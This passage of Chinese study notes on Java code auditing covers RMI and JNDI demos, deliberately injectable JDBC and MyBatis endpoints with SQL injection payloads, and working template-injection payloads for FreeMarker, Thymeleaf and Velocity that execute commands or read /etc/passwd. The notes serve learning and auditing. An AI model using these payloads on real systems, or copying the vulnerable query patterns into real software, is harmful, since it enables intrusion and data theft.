System.out.println("team = "+ hackdes.team);
}
}

image-20230816165815476

序列化的数据会有明显的特征,都是以 aced 0005 7372 开头的。

image-20230816165410543

RMI

RMI(Remote Method Invocation,远程方法调用)是Java的一组拥护开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议(Java Remote Method Protocol)。
简单地说,原先的程序仅能在同一操作系统的方法调用,通过RMI可以变成在不同操作系统之间对程序中方法的调用。
RMI依赖的通信协议是JRMP。JRMP: Java远程方法协议(Java Remote MethodProtocol,JRMP ),是特定于Java技术的、用于查找和引用远程对象的协议。
RMI对象是通过序列化方式进行传输的。序列化是RMI的前置科技树。

RMI中的三个角色

RMI中涉及到三个角色,它们分别为服务端(Server),注册中心(Registry)和客户端(Client),下面是他们的作用。

  • 服务端(Server):负责将远程对象绑定至注册中心。

  • 注册中心(Registry):服务端会将远程对象绑定至此。客户端会向注册中心查询绑定的远程对象。

  • 客户端(Client):与注册中心和服务端交互。

插入一张来自互联网的图片,直观展示了他们的关系

image-20230816170245696

  • 存根/桩(Stub):客户端侧的代理,每个远程对象都包含一个代理对象stub,当运行在本地Java虚拟机上的程序调用运行在远程Java虚拟机上的对象方法时,它首先在本地创建该对象的代理对象stub, 然后调用代理对象上匹配的方法。

  • 骨架(Skeleton):服务端侧的代理,用于读取stub传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。

  • ⚠注意:在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。比如Jdk8u121这个分界线。

(这块没懂RMI三角色的工作原理)

RMI代码编写步骤

  1. 创建远程接口及声明远程方法(SayHello.java)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    package method;

    import java.rmi.Remote;
    import java.rmi.RemoteException;


    public interface SayHello extends Remote {
    String name = null;
    public String sayhello(String name) throws RemoteException;
    public String getname() throws RemoteException;
    }

  2. 实现远程接口及远程方法(继承UnicastRemoteObject)(SayHelloImpl.java)

    必须继承UnicastRemoteObject 类,表明其可以作为远程对象,并可以被注册到注册中心,最终可以让客户端远程调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    package method;
    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;
    public class SayHelloImpl extends UnicastRemoteObject implements SayHello{
    String name=null;
    public SayHelloImpl() throws RemoteException {

    super();
    }
    @Override
    public String sayhello(String name) throws RemoteException {
    this.name = name;
    return "Hello,I am " + name;
    }

    @Override
    public String getname() throws RemoteException{
    if (name==null){
    return "U are nothing";
    }
    return name;
    }
    }
  3. 启动RMI注册服务,并注册远程对象(RmiServer.java)

    这个步骤我们是编写RMI服务端代码,需要将上面编写的远程方法注册到注册中心去。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    package rmiserver;
    import method.SayHello;
    import method.SayHelloImpl;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class RmiServer {
    public static void main(String[] args) throws RemoteException {
    System.out.println("远程方法创建等待调用ing......");
    //创建远程对象
    SayHello sayhello = new SayHelloImpl();
    //创建注册表
    Registry registry = LocateRegistry.createRegistry(1099);
    //将远程对象注册到注册表里面,并且取名为sayhello
    registry.rebind("sayhello", sayhello);
    }
    }
  4. 客户端查找远程对象,并调用远程方法(RmiClient.java)

    这个步骤我们是编写RMI客户端代码,主要是获取到注册中心代理,查询具体注册的远程方法并调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    package rmiclient;
    import method.SayHello;
    import java.rmi.NotBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    /**
    * 编号7089
    */
    public class RmiClient {
    public static void main(String[] args) throws RemoteException,
    NotBoundException {
    //获取到注册中心的代理
    Registry registry = LocateRegistry.getRegistry("localhost",1099);
    //利用注册中心的代理去查询远程注册表中名为sayhello的对象
    SayHello sayhello = (SayHello) registry.lookup("sayhello");
    //调用远程方法
    System.out.println(sayhello.sayhello("POWER7089"));
    }
    }
  5. 执行程序:启动服务端RmiServer;运行客户端RmiClient进行调用我们对上面流程进行拆解,编写对应的代码。

(大概流程清楚了,但是细节还是很模糊)

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI可以访问的目录及服务,比如:DNS、LDAP、CORBA对象服务、RMI等等。

简单理解:在前面一节我们学到了RMI,比如RMI对外提供了服务,那么JNDI可以通过相关API可以链接处理这些服务

在JNDI中提供了五个作用不同的包。

  • javax.naming
  • javax.naming.directory
  • javax.naming.ldap
  • javax.naming.event
  • javax.naming.spi

官方文档地址:https://docs.oracle.com/javase/tutorial/jndi/overview/

JndiServer

1
2
3
4
5
6
7
8
9
10
package jndi;
import method.SayHelloImpl;
import javax.naming.InitialContext;
public class JndiServer {
public static void main(String[] args)throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/sayhello",new SayHelloImpl());
System.out.println("启动成功...");
}
}

JndiClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi;


import method.SayHello;
import javax.naming.InitialContext;
public class JndiClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
SayHello sayHello = (SayHello)initialContext.lookup("rmi://127.0.0.1:1099/sayhello");
System.out.println(sayHello.getname());
System.out.println(sayHello.sayhello("POWER7089"));
System.out.println(sayHello.getname());
}
}

image-20230817090644413

SQLI

JDBC

java.sql.Statement没啥好说的,

主要看一下预编译java.sql.PreparedStatement和order by

java.sql.PreparedStatement

预编译java.sql.PreparedStatement示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.example.sqlidemo.jdbcinjection;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
/**
* 编号7089
* 错误的预编译
* http://localhost:7089/sqli/jdbc/preparestaement?username=admin
* 安全代码
* http://localhost:7089/sqli/jdbc/sec?username=admin
*/
@RestController
@RequestMapping("/sqli")
public class JdbcPrepareStatement {
private static String driver = "com.mysql.jdbc.Driver";
@Value("${spring.datasource.url}")
private String url;
@Value("${spring.datasource.username}")
private String user;
@Value("${spring.datasource.password}")
private String password;
@RequestMapping("/jdbc/sec")
public String jdbcsec(@RequestParam("username") String username) throws
SQLException, ClassNotFoundException {
StringBuilder result = new StringBuilder();
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, user, password);
// 安全代码
String sql = "select * from users where username = ?";
PreparedStatement preparestatement = conn.prepareStatement(sql);
preparestatement.setString(1, username);
ResultSet rs = preparestatement.executeQuery();
while (rs.next()) {
String resUsername = rs.getString("username");
String resPassword = rs.getString("password");
String info = String.format("%s: %s\n", resUsername, resPassword);
result.append(info);
}
rs.close();
conn.close();
return result.toString();
}
@RequestMapping("/jdbc/preparestaement")
public String jdbcPrepare(@RequestParam("username") String username) throws
ClassNotFoundException, SQLException {
StringBuilder result = new StringBuilder();
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, user, password);
//没有正确使用预编译方式,SQL语句还是进行了动态拼接
String sql = "select * from users where username = '" + username + "'";
PreparedStatement preparestatement = conn.prepareStatement(sql);
ResultSet rs = preparestatement.executeQuery();
while (rs.next()) {
String reUsername = rs.getString("username");
String resPassword = rs.getString("password");
String info = String.format("%s: %s\n", reUsername, resPassword);
result.append(info);
}
rs.close();
conn.close();
return result.toString();
}
}

第二个jdbcPrepare中,虽然是用的预编译执行sql语句,但是还是增加了拼接的部分,把username未经过滤就拼接到了sql语句中去了。

order by

在SQL语句中, order by 语句用于对结果集进行排序。 order by 语句后面需要是字段名或者字段位置。
在使用 PreparedStatement 预编译时,会将传递任意参数使用单引号包裹进而变为了字符串。
如果使用预编译方式执行 order by 语句,设置的字段名会被人为是字符串,而不在是字段名。
因此,在使用 order by 时,就不能使用 PreparedStatement 预编译了。

order by示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.sqlidemo.jdbcinjection;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
/**
* 编号7089
* order by 注入
* http://localhost:7089/sqli/jdbc/orderby?id=1
*/
@RestController
@RequestMapping("/sqli")
public class JdbcOrderBy {
private static String driver = "com.mysql.jdbc.Driver";
@Value("${spring.datasource.url}")
private String url;
@Value("${spring.datasource.username}")
private String user;
@Value("${spring.datasource.password}")
private String password;
@RequestMapping("/jdbc/orderby")
public String jdbcOrderby(@RequestParam("id") String id) throws
ClassNotFoundException, SQLException {
StringBuilder result = new StringBuilder();
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, user, password);
String sql = "select * from users" + " order by " + id;
PreparedStatement preparestatement = conn.prepareStatement(sql);
ResultSet rs = preparestatement.executeQuery();
while (rs.next()) {
String reUsername = rs.getString("username");
String resPassword = rs.getString("password");
String info = String.format("%s: %s\n", reUsername, resPassword);
result.append(info);
}
rs.close();
conn.close();
return result.toString();
}
}

payload:

1
if((6=(select length(version()))),sleep(0.5),sleep(1.2))--+

感觉有点复杂了,学艺不精

image-20230817130658383

image-20230817130718414

mybatis

Mybatis中#{}和${}区别

在Mybatis中拼接SQL语句有两种方式:一种是占位符 #{} ,另一种是拼接符 ${} 。

  • 占位符 #{} :对传入的参数进行预编译转义处理。类似JDBC中的 PreparedStatement 。比如: select * from user where id = #{number} ,如果传入数值为1,最终会被解析成 select * from user where id = “1” 。

  • 拼接符 ${} :对传入的参数不做处理,直接拼接,进而会造成SQL注入漏洞。比如:比如: select * from user where id = ${number} ,如果传入数值为1,最终会被解析成select * from user where id = 1 。

#{} 可以有效防止SQL注入漏洞。 ${} 则无法防止SQL注入漏洞。
因此在我们对JavaWeb整合Mybatis系统进行代码审计时,应着重审计SQL语句拼接的地方。
除非开发人员的粗心对拼接语句使用了 ${} 方式造成的SQL注入漏洞。
在Mybatis中有几种场景是不能使用预编译方式的,比如: order by、in、like

示例代码

MybaitsController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.sqlidemo.mybatisinjection;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
/**
* 编号7089
*/
@RestController
@RequestMapping("/sqli")
public class MybaitsController {
@Autowired
private UserMapper userMapper;
//orderby查询 http://localhost:7089/sqli/mybatis/orderby?sort=username
@GetMapping("/mybatis/orderby")
public List<User> orderbySql(@RequestParam("sort") String sort) {
return userMapper.orderbyInjection(sort);
}
//in查询 http://localhost:7089/sqli/mybatis/in?params=1
@GetMapping("/mybatis/in")
public List<User> inSql(@RequestParam("params") String params) {
return userMapper.inInjection(params);
}
//Like查询 http://localhost:7089/sqli/mybatis/like?username=admin
@GetMapping("/mybatis/like")
@ResponseBody
public List<User> likeSql(@RequestParam("username") String username){
return userMapper.likeInjection(username);
}
}

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.sqlidemo.mybatisinjection;
public class User {
private int id;
private String username;
private String password;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}

public String getUsername() {
return username;
}
public void setUsername(String name) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public String toString() {
return "User [id=" + id + ", username=" + username + ", password=" + password + "]";
}
}

UserMapper.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.sqlidemo.mybatisinjection;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
import org.springframework.web.bind.annotation.RequestParam;
import java.util.List;
/**
* 编号7089
*/
@Mapper
public interface UserMapper {
List<User> orderbyInjection(@RequestParam("sort") String sort);
@Select("select * from users where id in (${params})")
List<User> inInjection(@Param("params")String params);
List<User> likeInjection(@Param("username") String username);
//Mybatis查询SQL语句的另一种使用注解方式,这也是存在SQL注入的。
//@Select("select * from users where username = '${username}'")
//List<User> likeInjection(@Param("username") String username);
}

UserMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.sqlidemo.mybatisinjection.UserMapper">
<resultMap type="com.example.sqlidemo.mybatisinjection.User" id="User">
<id column="id" property="id" javaType="java.lang.Integer"
jdbcType="NUMERIC"/>
<id column="username" property="username" javaType="java.lang.String"
jdbcType="VARCHAR"/>
<id column="password" property="password" javaType="java.lang.String"
jdbcType="VARCHAR"/>
</resultMap>
<select id="orderbyInjection" parameterType="String" resultMap="User">
select * from users order by ${sort} asc
</select>
<select id="likeInjection" parameterType="String" resultMap="User">
select * from users where username like '%${username}%'
</select>
</mapper>

order by

oder by的mybatis代码如下:

1
2
3
<select id="orderbyInjection" parameterType="String" resultMap="User">
select * from users order by ${sort} asc
</select>

可以很明显的看到使用 ${} 拼接,所以这种在mybatis层是没有作任何过滤的,和字符串拼接一样的。

image-20230817152659383

in

in的相关sql如下

1
2
@Select("select * from users where id in (${params})")
List<User> inInjection(@Param("params")String params);

可以看到也是 ${} 拼接的sql语句

拼接后的语句:

1
select * from users where id in (1,(select sleep(3)))
image-20230817154744114

但是这里有个问题,可以对比几个不同的payload来说明一下问题

image-20230817155004492 image-20230817155042098 image-20230817155511529

三个不同的payload:

  • (select sleep(3))
  • 1,(select sleep(3))
  • 1,2,(select sleep(3))

返回时间分别约为6s、3s、0s

经过一波测试,初步猜测in的实际工作原理,是从括号里,把元素从左到右拿出来,使用id=xxxx进行对比,所以图2这条sql:select * from users where id in ((select sleep(1))); 花的时间是5秒,也就是执行了5次id=(select sleep(1))。

如果查到一条就把他从待查询目标中划掉,后续的带查询目标就少了一条,比如图3的第一条sql:select * from users where id in (1,2,(select sleep(1))); 查到了两次,1和2,待查询目标只剩5-2=3条了,所以这条sql花了3秒,而如果前面把所有的都查完了,比如图3的第三条sql:select * from users where id in (1,2,3,4,5,(select sleep(1)));前面把5条都查到了,带查询目标为5-5=0条,所以这条sql花了0秒。

image-20230817162818301

image-20230817163536750

image-20230817162834634

image-20230817164543541

image-20230817165031917

not in 应该也是一样的

like

like和order by一样,

image-20230817170536471

正确写法应该是:

1
SELECT * FROM users WHERE name like CONCAT("%", #{name}, "%")

Java 模板引擎与漏洞 SSTI

目前 Java 常见的模板引擎 FreeMarker,Velocity 和 Thymeleaf。
模板引擎,其实就是一个根据模板和数据输出结果的一个工具,目的是为了让显示与数据分离。

我们都了解 JSP,其实 JSP 也是一种模板引擎,通过后端向前端插入数据而实现动态网页的效果。

在 JSP 之前,使用 servlet 来实现动态网页效果,将数据返回到前端生成 HTML 页面时,异常的繁琐,需要使用 out.write() 一行行的输出,比如:

1
2
3
4
5
out.write("<html>\n")
out.write("<head>"\n)
out.write("<h1>hello servlet</h1>\n")
out.write("</head>\n")
out.write("</html>\n")

虽然 JSP 也是模板引擎的一种,但是由于其本质就是 servlet,可以直接无阻碍的访问底层的 servletAPI,也可以编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象低耦合,高内聚的核心思想,维护起来也越来越繁琐。因此经过演变,以及优秀的模板引擎接连不断地出现,JSP也逐渐被替代。这其中就包括 FreeMarker,Velocity 和 Thymeleaf等等。
(JSP 为什么被淘汰了?https://www.zhihu.com/question/328713931)
言归正传,使用大白话简单解释下模板引擎。
比如:前端做好一个模板页面,是人员信息展示页面,在姓名,性别,年龄处,使用模板引擎特定的”变量符/指令/插值“进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据。

模板注入漏洞

SSTI (Server-Side Template Injection,服务器端模板注入),广泛来说是在模板引擎解析模板时,可能因为代码实现不严谨,存在将恶意代码注入到模板的漏洞。这种漏洞可以被攻击者利用来在服务器端执行任意代码,造成严重的安全威胁。
简单说,在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。不同的模板触发漏洞的场景也不同,下面我们将针对 FreeMarker,Velocity 和 Thymeleaf 这三款模板引擎进行详细讲解。
因此,模板注入漏洞是基于模板引擎而存在的。如果项目中引入相关模板引擎组件,才有可能存在模板注入漏洞

Freemarker 总体结构

模板(FTL编程)是由如下部分混合而成的:

  • 文本:文本会照着原样来输出。
  • 插值:这部分的输出会被计算的值来替换。插值由 ${ and } 所分隔(或者 #{ and } ,这种风格已经不建议再使用了;点击查看更多(http://freemarker.foofun.cn/ref_depr_numerical_interpolation.html))。
  • FTL 标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输出内容中。
  • 注释:注释和HTML的注释也很相似,但它们是由 <#– 和 –> 来分隔的。注释会被FreeMarker直接忽略, 更不会在输出内

image-20230831100244686

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>[BR]
<head>[BR]
<title>Welcome!</title>[BR]
</head>[BR]
<body>[BR]
<#-- Greet the user with his/her name -->[BR]
<h1>Welcome ${user}!</h1>[BR]
<p>We have these animals:[BR]
<ul>[BR]
<#list animals as animal>[BR]
<li>${animal.name} for ${animal.price} Euros[BR]
</#list>[BR]
</ul>[BR]
</body>[BR]
</html>

插值

插值的使用格式是: ${expression} ,这里的 expression 可以是所有种类的表达式(比如 ${100+x} )。

插值是用来给 表达式 插入具体值然后转换为文本(字符串)。插值仅仅可以在两种位置使用:在文本区(比如

Hello ${name}!

) 和 字符串表达式 (比如 <#include “/footer/${company}.html”> )

内建函数

Freemarker 自带大量的内建函数。具体可看:http://freemarker.foofun.cn/ref_builtins.html
在这些大量的内建函数里面,我们主要关注两个,分别为: api 和 new

  • 3.1、api 内建函数
    如果value本身支持这个额外的特性, *value*?api 提供访问 *value* 的API (通常是 Java API),比如*value*?api.*someJavaMethod()* , 当需要调用对象的Java方法时,这种方式很少使用, 但是FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个Map ,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod() 基本上翻译成Java的((Method) myMap.get(“myMethod”)).invoke(…) ,因此不能调用 myMethod 。如果编写了myMap?api.myMethod() 来代替,那么就是Java中的 myMap.myMethod() 。
    • 对于 api 函数必须在配置项 api_builtin_enabled 为 true 时才有效,而该配置在 2.3.22 版本之后
      默认为 false
  • 3.2、new 内建函数
    这是用来创建一个确定的 TemplateModel 实现变量的内建函数。在 ? 的左边你可以指定一个字符串, 是 TemplateModel 实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。
    比如:
1
2
3
4
5
6
7
<#-- Creates an user-defined directive be calling the parameterless
constructor of the class -->
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#-- Creates an user-defined directive be calling the constructor with one
numerical argument -->
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?
new(40)>

对于 Freemarker 模板注入漏洞的攻击,我们着重将视角放在上传模板,修改模板等功能。比如修改模板功能,我们只需在修改的模板中嵌入攻击 Payload 即可成功。
(当然了以上说法仅是在无任何防护的理想情况下,实际中可能会遇见各种问题。)

这块看pdf没怎么看懂,

PayLoad

new

1
2
3
4
5
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

api

1
2
3
4
5
6
加载恶意类
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}


读取任意文件
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assignbyte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]

Thymeleaf

Thymeleaf 表达式可以有以下类型:

  • ${...}:变量表达式 —— 通常在实际应用,一般是OGNL表达式或者是 Spring EL,如果集成了Spring的话,可以在上下文变量(context variables )中执行
  • *{...}: 选择表达式 —— 类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。
  • #{...}: Message (i18n) 表达式 —— 允许从外部源(比如.properties文件)检索特定于语言环境的消息
  • @{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径(URL重写)。
  • ~{...}:片段表达式 —— Thymeleaf 3.x 版本新增的内容,分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式,片段可以被复制,或者作为参数传递给其他模板等等

Payload

举个例子:

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

这是 SpringBoot 项目中某个控制器的部分代码片段,thymeleaf 的目录如下:

image-20230901165728679

html文件如下:

1
2
3
4
5
6
7
8
9
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

image-20230901165933405

从代码逻辑中基本上可以判断,这实际上是一个语言界面选择的功能,如果是中文阅读习惯者,那么会令language参数为cn,如果是英文阅读习惯者,那么会令language参数为en,代码逻辑本身实际上是没有什么问题的,但是这里采用的是 thymeleaf 模板,就出现了问题。

在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后,Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会将传入的参数当成SpEL表达式执行,从而导致了远程代码执行漏洞。

  • payload:(需要url编码否则会)
1
127.0.0.1:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

image-20230901165649682

Velocity

VTL,Velocity Template Language

使用引用的方式将动态内容嵌入网站,变量是其中一种引用的类型,它可以引用 Java 代码中定义的内容,或者可以从网页中的 VTL 语句中获取其值。以下是一个可嵌入 HTML 文档中的 VTL 语句示例:

1
#set( $a = "Velocity" )

和所有 VTL 语句一样,以 # 字符开头并包含一个指令,比如上面的 set。上面的示例中,变量是 $a,值为 Velocity。这个变量,和所有引用一样,以 $ 字符开头。字符串值始终用引号括起来,可以是单引号或双引号。

  • 变量:使用 $ 符号来引用 ,$foo, $mud_Slinger1
  • 方法:由一个$`字符开头的 VTL 标识符和VTL 方法体组成的引用,$customer.getAddress(), $person.setAttributes( [“Strange”, “Weird”, “Excited”] )
  • set 指令:set 指令用于设置引用的值,#set( $primate = “monkey” ), #set( $customer.Behavior = $primate )

set的右侧可以是:变量引用、 字符串字面量、 属性引用、 方法引用、 数字字面量、 ArrayList Map

1
2
3
4
5
6
7
#set( $monkey = $bill ) ## variable reference
#set( $monkey.Friend = "monica" ) ## string literal
#set( $monkey.Blame = $whitehouse.Leak ) ## property reference
#set( $monkey.Plan = $spindoctor.weave($web) ) ## method reference
#set( $monkey.Number = 123 ) ##number literal
#set( $monkey.Say = ["Not", $my, "fault"] ) ## ArrayList
#set( $monkey.Map = {"banana" : "good", "roast beef" : "bad"}) ## Map

set 指令攻击语句示例

  • #set($e=”e”);$e.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”)

  • ```vtl
    #set($x=’’)##
    #set($rt = $x.class.forName(‘java.lang.Runtime’))##
    #set($chr = $x.class.forName(‘java.lang.Character’))##
    #set($str = $x.class.forName(‘java.lang.String’))##
    #set($ex=$rt.getRuntime().exec(‘id’))##
    $ex.waitFor()
    #set($out=$ex.getInputStream())##
    #foreach( $i in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    + ```java
    #set($e="exp")
    #set($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
    #set($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
    #set($sc = $e.getClass().forName("java.util.Scanner"))
    #set($constructor =
    $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
    #set($scan=$constructor.newInstance($input).useDelimiter("\A"))
    #if($scan.hasNext())
    $scan.next()
    #end

Velocity 模板注入漏洞(CVE-2020-13936)

evaluate 触发

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.example.velocityssti;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import java.io.StringWriter;
/**
* 编号7089
* @author powerful
*/
@Controller
public class VelocityEvaluate {

@GetMapping("/velocityevaluate")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "powerful");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}

payload:

/velocityevaluate?template=%23set($e=”e”);$e.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“gnome-calculator”)

merge 触发

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.example.velocityssti;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.text.ParseException;
/**
* 编号7089
* @author powerful
*/
@Controller
public class VelocityMerge {
@RequestMapping("/velocitymerge")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String
username) throws IOException, ParseException,
org.apache.velocity.runtime.parser.ParseException {
String templateString = new
String(Files.readAllBytes(Paths.get("/home/this_is_y/Code_Audit/Document/dweb2/基础/web漏洞/Demo/VelocitySSTI/src/main/resources/templates/template.vm")));
templateString = templateString.replace("<USERNAME>", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "power7089");
ctx.put("phone", "70897089");
ctx.put("email", "power7089@163.com");
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
}
}

payload:(/home/this_is_y/Code_Audit/Document/dweb2/基础/web漏洞/Demo/VelocitySSTI/src/main/resources/templates/template.vm文件)

1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

之后直接访问http://127.0.0.1:8181/velocitymerge即可

区别

merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数,
用于存储数据,并将数据与模板合并,生成输出。
evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是
否成功执行。evaluate() 方法通常用于执行带有条件的模板

SpEL

Spring Expression Language ,Spring 表达式语言,是一个由 Spring 框架提供的表达式语言。它是一种基于字符串的表达式语言,可以在运行时对对象进行查询和操作。

SpEL 表达式语言支持以下功能:

  • Literal expressions(字面量表达式)
  • Boolean and relational operators(布尔和关系运算符)
  • Regular expressions(正则表达式)
  • Class expressions(类表达式)
  • Accessing properties, arrays, lists, maps(访问属性、数组、列表、映射)
  • Method invocation(调用方法)
  • Relational operators(关系运算符)
  • Assignment(赋值运算符)
  • Calling constructors(调用构造函数)
  • Bean references(Bean 引用)
  • Array construction(数组构造)
  • Inline lists(内联列表)
  • Ternary operator(三目运算符)
  • Variables(变量)
  • User defined functions(用户定义的函数)
  • Collection projection(集合投影)
  • Collection selection(集合选择)
  • Templated expressions(模板表达式)

基础学习: http://itmyhome.com/spring/expressions.html

SpEL 用法

三个应用场景

  • 在注解中
    在 Spring 中,可以使用 @Value 注解将 SpEL 表达式应用于 Bean 属性、构造函数参数和集合元素等场景。@Value 注解可以将 SpEL 表达式注入到 Bean 的属性中,支持在表达式中引用其他 Bean、属性和环境变量等。
    例如,在以下示例中,@Value 注解将 SpEL 表达式注入到 name 属性中:
1
2
3
4
5
6
@Component
public class ExampleBean {
